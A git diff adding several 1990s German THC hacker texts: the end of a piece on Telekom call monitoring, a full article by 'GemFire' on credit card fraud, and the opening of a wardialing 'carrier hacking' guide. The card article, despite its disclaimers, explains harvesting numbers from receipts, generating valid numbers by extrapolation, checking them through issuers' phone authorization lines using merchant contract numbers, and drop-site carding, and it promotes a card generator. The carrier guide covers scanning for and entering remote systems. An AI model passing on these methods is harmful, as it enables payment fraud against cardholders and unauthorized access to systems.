zeigt : + Ein Freund hatte 0130-Scanning betrieben, so ca. 6 Stunden ueber Nacht laufen + lassen, und als er ihn am morgen beendete bekam er nach kurzer Zeit einen + Anruf, dass auffaellig oft von seiner Leitung aus gewaehlt wurde, der + Anschluss sofort gesperrt und erst wieder freigeschaltet wird, nachdem er + von einem Telekomtechniker vor Ort inspiziert wird. + + Wer also in einer laendlichen Region wohnt hat hiermit echt Probleme, wer + allerdings direkt in einer Grossstadt wohnt, idealerweise vielleicht noch + angeschlossen an einer VST an dem auch viele Betriebe angeschlossen sind, + hat da mehr Glueck. + + Wer sich den Artikel aufmerksam durchgelesen hat wird merken, dass zugleich + viel wie wenig drinnen steht. Es ist alles, was ich aus sensitiven Daten + wie oeffentlichen Pressesachen herausfiltern konnte. Vieles ist zusammen- + gereimt manches vielleicht auch falsch, aber ungefaehr so arbeitet das System. + Da ich nicht weiss ob folgende 2 Dinge mit dem AcceSS 7 zu tun haben, habe + ich sie hier reingeschrieben : + Es ist technisch ohne Probleme moeglich herauszufinden, auch mit AcceSS 7, + ob ein Anruf automatisch gemacht wurde (Fax/Modem/Schnellwahltaste/etc.) + oder per Hand gewaehlt wurde. Ob das irgendwie ausgewertet wird weiss ich + nicht, wird aber schon seit laengerem bei guten PBXen gemacht. + Desweiteren benutzt die Telekom eine Software namens MOSES an ihren Vermitt- + lungsstellen, was auch eine Ueberwachung macht. Ob sie in irgendeinem + Zusammenhang mit AcceSS 7 steht oder was genau sie macht ist mir leider + (noch) nicht bekannt. + + Wer noch irgendwelche Infos hat, einfach eine email senden an vh@campus.de + und mit dem PGP key unten verschluesseln. Wer Informationen dieser Art + zurueckhaelt schadet anderen nur, hat selbst aber keinerlei Vorteile, da + es ja nix ist, was stirbt, wie eine C5 Nummer oder eine PBX ... + + + Passt auf euch auf ... + + van Hauser / THC (vh@campus.de) + + +Type Bits/KeyID Date User ID +pub 1024/3B188C7D 1995/10/10 van Hauser/THC of LORE BBS + +-----BEGIN PGP PUBLIC KEY BLOCK----- +Version: 2.6.3i + +mQCNAzB6PNQAAAEEALx5p2jI/2rNF9tYandxctI6jP+ZJUcGPTs7QTFtF2c+zK9H +ElFfvsC0QkaaUJjyTq7TyII18Na1IuGj2duIHTtG1DTDOnbnZzIRsXndfjCIz5p+ +Dt6UYhotbJhCQKkxuIT5F8EZpLTAL88WqaMZJ155uvSTb9uk58pv3AI7GIx9AAUT +tBp2YW4gSGF1c2VyL1RIQyBvZiBMT1JFIEJCU4kAlQMFEDJ2gzNAf3b9d/IP1QEB +5DwD+gJRh6m4h0fVgpQJkOiuQD68lV5w8C0F5R3jk/o6Pollaf7gtVhG8BGGo5/7 +/yiH40gujc82rJdmihwcKuZQtwt8X28VN8uy56SCpXD5wjjOZpq0t0qSXmhgunZ0 +m7xv7R4mWRzFclsgQCMwXNgp4sXgw64bVm8FhEdkrVSO8iTyiQCVAwUQMkMhCspv +3AI7GIx9AQFstAP+Jrg7V06FGV/sTzegFNoaSyOItkvXjctzFsXuBfta2M7EzPX3 +UR3kM4/W4xE70H4XmMOJ9RmTzs+MuhSq8BtGQtYaJqGjxe/ldbvGOXRxR1rBJAKS +yDQYu0VJ/Ae8yuJcMS312jqwg8OLgYnQaqEoaRM4HEiB+hgDRqnFKpDxkhSJAJUD +BRAyQx8E5y7IvlL6xvEBAQ+bA/9baK7f3M9F5n4aASy04WHOreUNpGQ8DXgtMVq7 +KVdXMIWjURsboR+wt5eJTPeL00lHS5eqmZlNzGV9hWtzAr20qrKLmvE20Ke4VPB0 +a/tWXNUdvLnk4ENbTBFfMMdnlDo3hSThSMQ7yZ9UEYgighKu6l2fG5UG6D+kXFLy +iIvvlA== +=nX2w +-----END PGP PUBLIC KEY BLOCK----- + + \ No newline at end of file diff --git a/Papers/card-ger.txt b/Papers/card-ger.txt new file mode 100644 index 0000000..cb6ae68 --- /dev/null +++ b/Papers/card-ger.txt @@ -0,0 +1,446 @@ + % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % + % % + % KREDiTKARTEN % + % % + % GEHASST, VERDAMMT, VERGOETTERT ?! % + % % + % GEFAHREN, BETRUG, ANTi-FRAUD SYSTEME, VORURTEiLE % + % % + % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % + + + Hinweis : Kreditkartenbetrug ist eine strafbare Handlung, die Absicht + dieses Textes ist auf gar keinen Fall, den Leser zu unerlaubten + Handlungen aufzufordern. Der Text dient rein zum Zwecke der + Information. + + Warnung : Der hier vorliegende Text ist urheberrechtlich geschuetzt. + Jeglicher Nachdruck (auch auszugsweise) ist nur mit + schriftlicher Genehmigung des Autors bzw. [THC] + und Quellenangabe gestattet. + + Autor : GemFire / [THC] The Hacker's Choice + + +Dieser Text soll etwas anders werden, also die anderen tausend Texte, die +bereits geschrieben wurden, manch einer findet ihn vielleicht nicht so +informativ wie andere, aber das ist sowieso nicht der Punkt, das wird keine +Anleitung, um eine Straftat zu begehen. Das sind meine Erfahrungen und meine +Meinungen zu gewissen Themen, wer etwas besser weiss oder einen Kommentar +dazu hat, kann mich das in neutraler Form wissen lassen, wer denkt er ist +was Besseres, behaelt alles besser fuer sich. + +NOCH EIN WORT AN UNSERE FREUNDE UND HELFER VOM STAAT: +Bloss weil ich ueber etwas schreibe heisst das noch lange nicht, dass ich es +auch mache, also waere ich Euch sehr verbunden wenn Ihr es unterlassen wuerdet, +mich zu belaestigen... Geilt es Euch auf mein Telefon abzuhoeren? Nur zu, mit +meiner Freundin telefoniere ich meist abends. Wuehlt Ihr gerne in fremden +Wohnungen rum? Bei mir gibt es nichts zu finden, Ihr koennt also gerne etwas +rumstoebern, aber lasst bitte meine Kleidung nicht wieder rumliegen und raeumt +nachher alles auf. Und wenn Euch CDs oder Buecher oder 2600er Magazine +interessieren, dann kauft sie Euch selbst und beschlagnahmt es nicht gleich +und lasst es dann verschwinden, ich hoffe wir verstehen uns. In diesem Sinne, +viel Spass beim Lesen, vielleicht lernt ihr ja auch was. + +Viele interessiert wohl, wie kommt man an Kreditkartendaten ueberhaupt ran? +Wer gibt einem schon seine Karte? Wozu gibt es Datenschutz? Wuerde sonst nicht +jeder damit Unfug treiben? Nun, die Moeglichkeiten sind hier so zahlreich, sie +reichen von einfachen Methoden, die jeder Vollidiot machen kann und eigentlich +auch selbst draufkommen muesste bis zu besseren und komplizierteren Methoden. +Zunaechst einmal gibt es "Trashing" eine uralte Methode, die aber immer noch +sehr erfolgreich angewendet werden kann. Waere mir persoenlich zu anstrengend +und zu dreckig, aber manche Leute werden sicher nicht abgeneigt sein, wenn es +zum Erfolg fuehrt... Muelleimer an Tankstellen, kleinen Geschaeften, bei Banken +und in Banken, man muss einfach mal selbst nachdenken, was es in seiner Gegend +gibt und wo evtl. Kreditkartentransaktionen vorgenommen werden. Man kann auch +in grosse Kaufhaeuser gehen und versuchen an nicht besetzten Kassen die +Kreditkarten Quittungen zu finden. Oder koennt Ihr euch gut Zahlen merken? +Einfach an der Kasse wenn jemand mit KK zahlt Nummer merken. Das fuehrt +natuerlich nicht zum Erfolg wenn Ihr mit dieser Absicht losgeht ;) Man sollte +einfach immer einen Block dabeihaben, Nummer merken und danach gleich notieren +oder ein kleines Voice-Memo mit 20 Sek. Aufnahmezeit, alles praktisch um +einfach, bei Gelegenheit an neue Karten ranzukommen. Nun, werden manche +einwerfen, es gibt ja noch KK Generatoren, wie z.B. auch mein THC-CREDiT, +nun ein sehr gutes Werkzeug, wenn man Bescheid weiss, ansonsten ist man meist +auf dem Holzweg... Um gleich mal mit einem Vorurteil aufzuraeumen - die +generierten Nummern sind natuerlich nicht alle gueltig, sondern berechnet. +Wenn alle berechneten Nummer gueltig waeren, dann gibt es keine neuen Nummern +mehr, um sie an neue Kunden auszugeben... Allerdings erhoehen diese Programme +die Chancen eine gueltige Nummer zu finden und wenn man es richtig anstellt, +kann jede zweite eine gueltige sein. Die Karten einfach mit normaler Methode +zu berechnen ist besser als sich einfach eine Zahl auszudenken, aber wesentlich +effektiver ist da die "Extrapolate" Funktion. Das bedeuted man besitzt eine +gueltige Kartennummer (kann sogar die eigene sein) und berechnet aus dieser +Karte andere, indem man die letzten 4 Ziffern veraendert. Das hat etwas mit dem +Aufbau der Karte zu tun. Zumindest bei Eurocard/Mastercard und Visa ist das +System das selbe und fuer diese beiden haeufigsten Karten erklaere ich das +jetzt auch. + +z.B. eine Visa Karte 4000 0000 0000 0002 + + 4000 = Ist die Bank ID, grosse Banken haben eine eigene + kleinere teilen sich eine mit anderen bzw. fuer + deutsche Eurokarten gibt es nur eine, naemlich + die 5232 + + 0000 0000 = Dieses Feld identifiziert eine Gruppe + von Kartenbesitzern, z.B. mit aehnlichem + oder gleichen Verfallsdatum und Kredit- + rahmen, allerdings ist diese Nummer + nur zugeordnet, dass heisst man kann + keine Rueckschluesse auf diese Daten + ziehen. + + 0002 = Dieses Feld wird nun einzelnen + Kartenbesitzern aus dieser Gruppe + zugeordnet. + +Wenn man eine Karte extrapoliert hat man also den Vorteil, das Bank ID und +Gruppe auch zu 100% existieren, und bekannte Kombinationen sind voll mit +gueltigen Nummern... Man berechnet eben moegliche letzte Ziffern der einzelnen +Kartenbesitzer. Um die Methode auch effektiv zu nutzen und zu grossen Mengen +an KK# zu kommen, sollte man moeglichst zusaetzlich ueber eine Online Pruef- +moeglichkeit verfuegen, dies gehoert zu den zuvor genannten komplizierteren +Methoden an Karten zu kommen. Ich erklaere nur eine, da die anderen wohl +sowieso niemand ausfuehren kann, der sich nicht auch tiefer mit anderen Themen +beschaeftigt, z.B. wie man bestimmte amerikanische Telefonnummer anrufen kann +oder sich Zugang zu fremden Netzen und Computern verschaffen kann oder VMB +Systeme durchforsten kann. Das ist auch sicher nicht meine Aufgabe diese +Sicherheitsluecken zu schliessen, indem man alle Welt darauf aufmerksam macht +und Tausende von Neulingen darauf loslaesst. +Nun werde ich aber zumindest mal als Beispiel eine Moeglichkeit erklaeren. +Beispielsweise ein Versand oder auch Kaufhaeuser bei denen das Terminal mal +nicht funktioniert muessen ja eine Moeglichkeit haben KK zu ueberpruefen. +Der Versand ist ja sowieso nicht im Besitz der Plastikkarte sondern hat nur +die Nummer, das Verfallsdatum und den Namen etc. Aber er will natuerlich auch +sein Geld, also fuellt er ein Formular aus und benoetigt dann sozusagen +als Bestaetigung auch eine Genehmigungsnummer die er eintragen kann, mit +der dann eben diese Transaktion abgehandelt wird, also ruft er bei der +Kreditfirma, bei der er einen Vertrag hat an und ueberprueft die Kartennummer. + +Die kann z.B. so ablaufen: + +[VERSAND WAEHLT NUMMER 069 XXXXXXXX] + +EUROCARD : "Eurocard Genehmigungsdienst, wie kann ich Ihnen helfen?" +VERSAND : "Ich benoetige eine Genehmigunsnummer, meine Vertragsnummer lautet + 15X XXX XXX, die Kartennummer ist 5XXX XXXX XXXX XXXX, gueltig + bis 12/98" +EUROCARD : "Mit welchem Betrag wird die Karte belastet?" +VERSAND : "120 DM" +EUROCARD : "Einen Moment bitte... alles in Ordnung, die Genehmigungsnummer + lautet 057638" +VERSAND : "Danke, auf Wiederhoeren!" + +Gibt es keine Genehmigungsnummer, dann ist die Karte entweder ungueltig, +gestohlen oder ueberzogen bzw. hat kein ausreichendes Kreditlimit. Der Betrag +wird virtuell vom Kartenkonto abgezogen (hat den Sinn, dass wenn jemand ein +Limit von 1000 Mark hat und z.B. im 5 Minuten Abstand andauernd fuer 1000 DM +Sachen bestellt, dass ihm da ein Strich durch die Rechnung gezogen wird.) +Wie gsagt, es wird also virtuell schonmal abgezogen, geht dann das Formular +mit Genehmigungsnummer usw. nicht innerhalb einer bestimmten Zeit ein, wird es +als Fehler abgetan und der Betrag wird wieder zurueckgebucht. Nun, ich hoere +schon wieder die Fragen... Wo bekommt man die Telefonnummer? Wo bekomm ich +die Vertragsnummer? Das ist wirklich einfach, im Kaufhaus steht fuer den Fall +eines Terminalausfalls oder fuer moegliche Rueckfragen bei der KK Gesellschaft +immer eine Tel. Nummer und die Vertragsnummer meistens auf einem Aufkleber am +Telefon oder daneben oder an der Rueckwand des Kassenhaeuschens, schaut einfach +mal, ich bin mir sicher ihr habt gleich beim ersten mal Erfolg, wenn ihr in +ein Kaufhaus geht. Nun, da fragen einige gleich wieder, wenn man die Karte +extrapoliert hat, dann hat man ja kein Gueltigkeitsdatum, nun das ist auch +nicht noetig, das ist nur der Form wegen, es geht jedes Datum > heutiger Tag. +Das Datum wechselt ja eh oefters, wenn eine neue Karten ausgegeben wird und +ausserdem sind das Unmengen von Daten auf die zugegriffen werden muss, bei +diese Ueberpruefungen sind eben nur die Nummern wichtig, die Datensaetze mit +Namen und anderen Sachen, waeren unvorstellbar gross. So ist das auch in den +meisten Faellen wo KK verlangt werden z.B. im Internet. Allerdings gibt es +gerade im Internet einige bei denen das Gueltigkeitsdatum (Expiration Date) +mitgeprueft wird, das ist eine Auflage der KK Firmen... In diesem Fall hat +man entweder eine Karte mit Datum zur Hand, die man z.B. auf einer Quittung +im Muell gefunden hat oder man nimmt bei "Extrapolate" das selbe Datum, wie +das der Karte aus der man extrapoliert hat, z.B. eben man extrapoliert von +seiner eigenen Karte und nimmt dann auch das gleiche Gueltigkeitsdatum, was +meistens auch funktioniert. Nun moechte ich mal generell noch etwas zum Auf- +bau der Karten und ihrer Formate sagen. + +Diese Formate sind ab Version 1.9 auch in THC-CREDiT vollstaendig +integriert. Im Moment sind Bedingungen wie die zweite Ziffer von Eurocard +noch nicht integiert, da sie mir auch erst seit kurzem in der Form bekannt +sind. Das bedeutet noch hoehere Trefferquoten bei THC-CREDiT, da andere +Programme meistens nur die 1. Ziffer beachten. + +EUROCARD / MASTERCARD / ACCESS CARD + +5AXX XXXX XXXX XXXX + +A = Ziffer zwischen 1 und 5 (einschliesslich) + +Bedingungen in Kuerze: + +- Gueltig nach MOD-10 Algorithmus (wie ihn z.B. THC-CREDiT benuetzt) +- Immer 16 Stellen +- 1. Ziffer immer eine 5 +- 2. Ziffer zwischen 1 und 5 (einschliesslich) + + +ViSA CARD + +4XXX XXXX XXXX XXXX oder 4XXX XXX XXX XXX + +Bedingungen in Kuerze: + +- Gueltig nach MOD-10 Algorithmus (wie ihn z.B. THC-CREDiT benuetzt) +- 16 Stellen oder bei aelteren Karten 13 Stellen (gibt es kaum mehr) +- 1. Ziffer immer eine 4 + + +AMERiCAN EXPRESS + +3AXX XXXXXXX 100X oder 3AXX XXXXXXX 101X + +A = 4 or 7 + +Bedingungen in Kuerze: + +- Gueltig nach MOD-10 Algorithmus (wie ihn z.B. THC-CREDiT benuetzt) +- Immer 15 Stellen +- 1. Ziffer immer eine 3 +- 2. Ziffer entweder 4 oder 7 +- Ziffern 12, 13 und 14 entweder 100 oder 101 + + +DiNERS CLUB / CARTE BLANCHE + +3AXX XXXXXX XXXX + +A = 0, 6, or 8 + +Bedingungen in Kuerze: + +- Gueltig nach MOD-10 Algorithmus (wie ihn z.B. THC-CREDiT benuetzt) +- Immer 14 Stellen +- 1. Ziffer immer eine 3 +- 2. Ziffer entweder 0, 6 oder 8 + + +DiSCOVER CARD + +6011 XXXX XXXX XXXX + +Bedingungen in Kuerze: + +- Gueltig nach MOD-10 Algorithmus (wie ihn z.B. THC-CREDiT benuetzt) +- Immer 16 Stellen +- Ersten 4 Ziffern immer 6011 + +JCB CARD + +AAAA XXXX XXXX XXXX + +AAAA = 3088, 3096, 3112, 3158, 3337 oder 3528 + +Bedingungen in Kuerze: + +- Gueltig nach MOD-10 Algorithmus (wie ihn z.B. THC-CREDiT benuetzt) +- Immer 16 Stellen +- Ersten 4 Ziffern nur aus dem oben genannten Nummernpool + +Wie Kreditkartenbetrug funktioniert moechte ich hier nur kurz anreissen, +es gibt ja wirklich genug (mehr oder weniger sinnvolle) Texte zu diesem +Thema, generell unterscheiden wir hier das Classic Carding, bei dem bei +einem Versand mit KK bestellt wird und das ganze an eine Dropsite geliefert +wird, z.B. ein verlassenen Haus oder ein Haus dessen Besitzer im Urlaub sind. +Der schwierige Teil ist es hier, sein Paket an der Dropsite zu bekommen, was +aber bei etwas Einfallsreichtum kein Problem sein sollte. Dann haben wir +seit laengerem nun auch das Bezahlen mit KK im Internet, da wisst ihr wohl +selbst was man machen kann, obwohl ich es bis heute nicht verstehen kann, +warum ein Vollidiot KK# im Internet hernimmt um Pornobildchen zu ziehen, aber +naja jeder so (dumm) wie er will. Dann gibt es das Carding fuer den Profi +mit Plastikkarten und allem drum und dran, ueber das wie moechte ich hier +kein weiteres Wort verlieren... Was man damit anfangen kann ist klar, ueber +all wo Karten genommen werden kann man auch damit zahlen, auch an evtl. +Automaten (aber keine Bankautomaten - hier wird wie bei jeder Bankkarte auch +eine PiN verlangt). Automaten koennen z.B. fuer Zugtickets usw. bereitstehen, +auch hier moechte ich keine naeheren Anregungen geben, findet selber raus was +geht und wo man Karten reinstecken kann, ist wohl auch nicht so schwer. +Dann gibt es noch einige spezielle Anwendungsmoeglichkeiten wie z.B. sich +ueber AT&T oder aehnlichen Telefongesellschaften ueber ihre 0130 Nummer +weiterverbinden laesst und per KK zahlt. (in Deutschland allerdings NICHT mehr +in der Form moeglich!) Generell geht alles wo man mit KK zahlen kann. Wie +gesagt, hier soll niemand zu Straftaten angeregt werden, deshalb wurde das nur +kurz angesprochen. Ist das ganze gefaehrlich? JAAAAAAAA also lasst die Finger +davon! Vor allem wenn Ihr blutige Anfaenger seit, aber druecken wir es so aus +fuer Leute die Bescheid wissen, besteht (fast) keine Gefahr, wenn sie gewisse +Regeln beachten. Nun warum tun die KK Firmen nichts gegen Missbrauch? +Generell sind die KK Firmen an Stillschweigen interessiert, Missbrauch zahlt +die Versicherung ohne Murren und es wird kein grosser Aufstand gemacht. +Manchmal, wenn irgendein Drecks-Boulevard-Magazin das Thema KK Betrug mal +aufgreift, dann jammern sie ueber ihre Verluste... mit einem anderen Atemzug +heisst es "Die Verluste sind Kleinigkeiten im Verhaeltnis zu Massnahmen gegen +Missbrauch". Verstaendlich, sie muessten das gesamte System aendern... Kleinere +Gegenmassnahmen sind oft nur ein Werbegag. Um nur mal ein Beispiel zu nennen, +die Visa FOTOCARD bringt zwar vielleicht was wenn der Besitzer seine Karte +verliert. Obwohl, Tests beweisen, auf dem Foto kann ein Japaner drauf sein und +niemand fraegt einen Deutschen was er mit der Karte macht, also Nutzen gleich +Null. Ausserdem, ein Kreditkartenbetrueger kann ja a) die Kartenummer benutzen +beim Versand im Internet usw. und b) Wenn er Missbrauch mit einer echten Karte +betreibt und damit einkaufen geht, ist da nicht zwangslaeufig ein Foto drauf, +sehr wohl jedoch die richtigen Daten des Besitzers... +Ueber ein neues Anti-Missbrauchs-System wollen wir doch mal kurz reden. +FALCON - Ein toller Name... +An dieser Stelle ein Dank an Walker/THC fuer das Zusammentragen und Schreiben +von Informationen zu diesem Thema... Es gibt von ihm auch ein extra Textpaket +zu dem Thema FALCON, also versucht es zu bekommen, wenn Ihr Euch fuer alle +Einzelheiten interessiert. +Nun FALCON gibt es seit Januar 1995, es analysiert und speichert die +Transaktionen eines Kartenbesitzers. Es erstellt ein Benutzerprofil und +erkennt verdaechtige Transaktionen, was zur Folge hat, das man sich z.B. an +der Kasse ausweisen muss wenn das System Alarm schlaegt. Das ganze klingt +in der Theorie hervorragend. Man sollte sich nur Fragen: + +WARUM ZU HOELLE ERSTELLEN DIE SAECKE EIN BENUTZERPROFIL UEBER MICH ? + +Nun, das ist auch ein grosser Grund fuer mich KEINE Kreditkarte anzuschaffen. +Wer weiss, was mit meinen Daten passiert? Man geht in den Sexshop, kauft eine +Peitsche ;) und am naechsten Tag ist der Briefkasten voll mit Domina Magazinen +und Werbung ?! Kundenspezifische Werbung! Nein danke... und die KK Firmen +kassieren noch mehr Geld?! Wahrscheinlich ist das der einzige Sinn von FALCON, +nicht den Missbrauch zu verhindern sondern nur die Verluste durch neue Geld- +quellen auszubuegeln... Das ist natuerlich nur Spekulation und ich moechte +die KK Firmen nicht verdaechtigen, dass sie alle geldgeile Vollidioten sind, +nichts liegt mir ferner. Nur eins: Von der Wirksamkeit von FALCON konnte man +bisher nicht viel bemerken. Wieder mal sollen wohl hauptsaechlich die Kunden +beruhigt werden. + +Nun, bekam ich am 20. Februar diesen Jahres eine E-Mail, dass das nieder- +laendische Fernsehen eine Reportage ueber Kreditkartenmissbrauch machen will. +Dazu wollten sie mich interviewen, weil sie ja auch mein Programm haben. +Nun, generell bin ich gegen diesen Pressedreck. Wenn ein gewisser K.S. wieder +durch RTL und PRO7 Sendungen geistern und Muell ablaesst und kleine Tricks +vorfuehrt wie ein Zauberer auf dem Kindergeburtstag, aber nun hatten sie ja +sowieso mein Programm und ich wollte etwas gegen Vorurteile wirken, indem +ich ihnen einfach auf ihre Fragen antworte, denn die Presse arbeitet ja +frei nach dem Motto: Was ich nicht weiss - erfinde ich einfach. So, nunja +zwar hatten sie etwas Schwierigkeiten zu begreifen, dass mein Name GemFire +und nicht SysGod ist, aber naja, wie sie ueberhaupt drauf gekommen sind? +Nun in einer Board Werbung von mir stand unter der Telefonnummer meines H/P +Board "Sysgod: GemFire" was ja eigentlich nichts anderes bedeutet, als dass +der Systemoperator GemFire heisst, aber naja, obwohl ich es ihnen klar gemacht +hab, haben sie dann irgendwie beide Namen genannt in ihrer Reportage... +Wie auch immer, ich sollte eben ueber iRC interviewt werden und einen Abend +danach wurde es gesendet, ein Uni Professor hat auch noch etwas gegen die KK +Firmen gewettert und ich hoffe sie standen wenigstens am Ende als die Boesen +da, ich versteh ja nun leider kein hollaendisch... Wie auch immer, Geld +wollte ich fuer den Muell keins, ich bin ja kein geldgeiler Sack, ich wollte +nur eine Videokopie des Beitrags, ist wohl ein fairer Deal... Wenn sich jetzt +wieder jemand aufregt, dass welche aus der H/P Szene im Fernsehen auftreten, +dann denkt daran was ich geschrieben hab, wer weiss was die sonst aus dem +Beitrag gemacht haetten, allein schon der Satz den ihr ja nachher auch noch +lesen koennt: "Was sagen Sie dazu, dass sie mit ihrem Programm Millionen- +schaeden verursachen?" Nunja, ich meine mit solchen Meinungen muss man doch +aufraeumen, inzwischen bin ich noch mit dem Reporter in Kontakt und er seit +er sich etwas damit beschaeftigt, sieht er den Hauptschuldigen und Feind der +Menschheit in den KK Firmen, woran man mal wieder sieht, dass es auch gute +Reporter gibt, man darf Bild und RTL Reporter eben nicht als Mass fuer den +ganzen Beruf nehmen. Nun werde ich einige Auszuege aus dem IRC Capture +herausziehen und frei uebersetzen... Wenn sich jemand wirklich fuer das ganze +Capture interessiert soll er sich eben bei mir melden. +Der Freund des Reporters, der das Interview letztendlich durchgefuehrt hatte, +nannte sich im IRC "Inter" soviel im vorraus zur Erklaerung. + +[...] + + Naechste Frage, warum benuetzt Du einen Decknamen und nicht + Deinen echten Namen? Warum Namen wie GemFire? + + Aus Sicherheitsgruenden, Ich mache nichts illegales, aber vielleicht + wissen das einige nicht. Ich hab keine Lust, dass die Polizei mein + Haus durchwuehlt. + + Ok, das ist ein guter Grund ;-) + +[...] + + Was ist das Hauptziel von Programmen wie THC-CREDiT ? + + Fuer mich ist es ein Hobby, ich weiss was moeglich ist, ich weiss + mehr als normale Leute. Vielleicht benutzen es manche Leute fuer + illegale Zwecke, aber THC-CREDiT allein begeht kein Verbrechen! + + Aber weisst Du nicht, wieviel Schaden Du mit diesem Programm + anrichtest? + + Weisst DU wieviel Schaden ich damit anrichte? Wie gesagt, das + Programm richtet keinen Schaden an, nur der es fuer illegale + Zwecke missbraucht. Es gibt genug Programme wie dieses, meins + ist vielleicht eines der besten, aber bei weitem nicht das + Einzige. In der Anleitung wird darauf hingewiesen, dass KK + Betrug strafbar ist und der Zweck des Programmes nicht darin + liegt. + + Ja, aber es ist hilfreich, wenn man damit Geld machen will... + +[...] + + z.B. ViSA verliert 1,2 Milliarden pro Jahr, sagt Dir das etwas? + +(Anmerkung: Hier hab ich im Prinzip das gleiche geantwortet wie weiter oben + in diesem Text, dass sie ja selbst nicht mehr Sicherheit wollen, weil sie + das System lieber moeglichst einfach lassen wollen, weil es sonst den Kunden + zu kompliziert wird.) + +[...] + + Visa sagt, es wird Hacker wie Dich eliminieren. + +(Anmerkung: Nun, das ist nun wieder ein lustiges Statement von VISA, hehe.) + +Naja, es ging dann noch eine Weile um Anti-Fraud Systeme, im Prinzip nichts +anderes als ich sowieso schon geschrieben hab, also will ich niemanden damit +langweilen. Abschliessend moechte ich noch sagen, dass diese Stellen die ich +rausgegriffen hab nicht stellvertretend fuer das Gespraech waren, er hat am +Ende schon kapiert, wer recht hat, naja und diese Statements hab ich eben +genommen, weil sie besonders krass waren... Wollte ich nur fairerweise sagen +denn dieser Reporter war kein Arschloch und wenn ich nur Teile rausgreife, +dann stell ich das auch so dar... Nicht wie z.B. andere Reporter, die etwas +auszugsweise bringen und damit den ganzen Sinn veraendern... + +Nun noch zum letzten Thema, wie erreicht man mich... + +E-MAiL: gemfire@drmland.muc.de + +VMB : Ja, ich hab noch eine VMB, aber da ich will, dass es sie noch laenger + gibt sag ich nur, die Leute die sie kennen, koennen mir eine Nachricht + hinterlassen. + +BOARD : TERMiNAL MADNESS, die Daten findet Ihr im THC.NFO + +iNET : http://credit.home.ml.org + +Nun, da faellt mir noch was ein, am 01.06. kommt voraussichtlich +THC-CREDiT v1.9 mit vollem CARD READER/WRiTER SUPPORT!!! Das darf der +interessierte Carder nicht verpassen... + +Und noch etwas zum Schluss, ich hab einen neuen PGP-Key, da der alte bei einem +kleinen Crash verlorengegangen ist. + +beachtet bitte, dass die genannte email adresse im PGP key noch nicht +existiert, es jdeoch hoffentlich in diesem Jahr noch wird. Bitte +benutzt die obige email adresse : gemfire@drmland.muc.de + +Type Bits/KeyID Date User ID +pub 1024/AF4154C5 1996/12/02 GemFire/THC + +-----BEGIN PGP PUBLIC KEY BLOCK----- +Version: 2.6.3ia + +mQCNAzKiRGkAAAEEAOjPt6acZdELdaLdJJo9Hh5gXZTP0VQvEeFFJmSRlLHLyHNR +wquxbmM5F0JqpauC8+Xa3Xd8ZmmeOjYQ2jatSKef2cJVOaxfIJzNu60tWUS3HNC2 +d2tUwhIzT8Yf2OpUVXRoLB+BRgsvVCGu7PhxCj7L30cnN8iY45u1TfivQVTFAAUR +tCRHZW1GaXJlL1RIQyA8Z2VtZmlyZUBpbnNlY3VyaXR5Lm9yZz6JAJUDBRAyokRp +m7VN+K9BVMUBAavxBADQCiCAT4Zg5XphMR15cGP+bQUMNZKRypptHL1j7kcyDjj8 +40NYBpjCZoJmTeEUJQXRHxBAem3Paan/K2dq/6y0Rec0S5x4pR1f4GQtF3DTEYFs +d2nmnume2qaAKWhVRTiDBHpJL/9Q3x6/FXabfTBwx/6bZoddWTDzJX0ZlF3pew== +=b5Nn +-----END PGP PUBLIC KEY BLOCK----- + \ No newline at end of file diff --git a/Papers/carriers.txt b/Papers/carriers.txt new file mode 100644 index 0000000..8226f7c --- /dev/null +++ b/Papers/carriers.txt @@ -0,0 +1,884 @@ + + + + + CARRIER HACKING + + by Giemor + + + + + + +Warum Carrier Scanning/Hacking +------------------------------ + +In der heutigen Zeit ist der Zugang zum Internet im Vergleich zu den USA +sehr teuer, also kann man sich andere Wege suchen die eigenen Wege zu senken. +Zum Beispiel mit einer 0130 gebuehrenfreien Nummer der Telekom. +Es reicht ja schon wenn man ein Tymnet, Datex-P oder Sprintnet Dial-up findet +und sich von dort aus zu einen Provider weiterverbinden laesst wie Compuserve, +IBM-NET oder Aol. Mit etwas Glueck findet man einen Outdial womit man sich +dann weiter verbinden lassen kann. Oder man findet zugang zu Telnet, TN3270, +FTP, PPP, SLIP, Telenet, Datapac, Telepac, Decnet, X25, etc... +Aber auch zum Zeitvertreib kann man sich z.B. einige oeffentliche BBS (oder +nicht-oeffentliche in die man sich social-engineered) einloggen und mit +Kumpels leicht Software austauschen oder man versucht herauszufinden, was +sich z.B hinter den Grossrechnern des typs HP3000 oder HP MPE-XL verbirgt. + + + +Wie findet man Carriers +----------------------- + +Der beste und schnellste Weg ist sie mit einem Wardialer zu scannen. +(thc-scan, toneloc, a-dial). Man kann mit diesen Programmen einen bestimmten +Bereich von Telefonnummern durchscannen lassen, wo man viel interessantes +finden kann, uns aber speziell hier die gefundenen Modems interessieren. +Der Scanner hat zudem den Vorteil, dass er die heufigsten emulationen, parity, +data length, stop bits, ausprobiert sowie breaks sendet, , <.> etc. und +schliesslich gefundene Rufnummer mit dem Text, den das gefundene Modem +ausgibt in einer Logdatei speichert. +Es ist von grossem Vorteil wenn das Scan-Modem die VOICE Antwort unterstuetzt, +da man so mit bis zu 900% die Geschwindigkeit des Abscannens steigern kann. + + + +Was sind Silent Carriers +------------------------ + +Sehr oft bekommt man einen Connect aber nichts passiert - aber irgendein System +muss ja dahinter sein. Entweder man benutzt eine falsche Terminal Emulation, +oder die Baudrate ist zu hoch, oder parity, data length, stop bits sind falsch +eingestellt. +a) aendert parity, data length, stop bits, auf 7S1, 7S2, 8E2, 8E1. + die meisten Systeme benutzten 8N1, 7E1 und 7O1. +b) aendert die Terminal emulation: + + IBM 3101 TV 910 BEEHIVE ATL078 + IBM PC/FTTERM COLOR LS ADM3A UDT01 + IBM PC/FTTERM MONO ADDS VP UDT02 + IBM 3161/62/63 HAZEL 1500 UDT03 + IBM 3151 HAZEL ESP I UDT04 + IBM 3164 HAZEL ESP II UDT05 + VT52 NT DISPLAY ANSI + VT100 TT 5410 ANSI-BBS + VT220 TT 5420 + FALCO 500 HP 2621B Qmodem Pro unterstuetzt + WYSE 50 DG D210 diese Emulationen + +c) aendert die baudrate auf 300, 600, 1200 probiert alles was euer Terminal + Programm unterstuetzt. +d) drueckt oefters hinter einander, , esc, .' sendet mehrere breaks, +e) Manchmal kommt es auch einfach vor das Modems nicht miteinander auskommen, + und dann keinen output 